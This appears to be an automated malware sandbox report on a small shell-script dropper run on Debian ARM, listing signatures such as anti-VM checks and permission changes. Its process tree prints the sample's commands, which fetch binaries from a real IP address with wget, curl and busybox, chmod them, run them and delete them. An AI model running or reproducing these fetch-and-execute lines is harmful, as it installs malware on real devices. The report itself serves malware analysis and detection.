Overview

overview

7

Static

static

1

39fb147415...b87.sh

ubuntu-18.04-amd64

7

39fb147415...b87.sh

debian-9-armhf

7

39fb147415...b87.sh

debian-9-mips

7

39fb147415...b87.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    165s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/11/2024, 09:45

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General

  • Target
    39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
  • Size 10KB
  • Sample241112-lref4ssrbm
  • SHA256 39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
    /tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
    1⤵
      PID:641
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:643
        • /usr/bin/wget
          wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
          2⤵
            PID:650
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:662
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
            2⤵
              PID:671
            • /bin/chmod
              chmod 777 E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
              2⤵
              • File and Directory Permissions Modification
              PID:695
            • /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
              ./E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
              2⤵
              • Executes dropped EXE
              PID:697
            • /bin/rm
              rm E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
              2⤵
                PID:698
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                2⤵
                  PID:702
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:714
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                  2⤵
                    PID:733
                  • /bin/chmod
                    chmod 777 Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                    2⤵
                    • File and Directory Permissions Modification
                    PID:756
                  • /tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                    ./Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                    2⤵
                    • Executes dropped EXE
                    PID:757
                  • /bin/rm
                    rm Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
                    2⤵
                      PID:758
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                      2⤵
                        PID:759
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:790
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                        2⤵
                          PID:791
                        • /bin/chmod
                          chmod 777 Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                          2⤵
                          • File and Directory Permissions Modification
                          PID:792
                        • /tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                          ./Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                          2⤵
                          • Executes dropped EXE
                          PID:793
                        • /bin/rm
                          rm Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
                          2⤵
                            PID:794
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
                            2⤵
                              PID:795
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:796

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
                                • Path /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
                                • Size 153B
                                • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                • MD5 SHA1 SHA512
                                Submit Download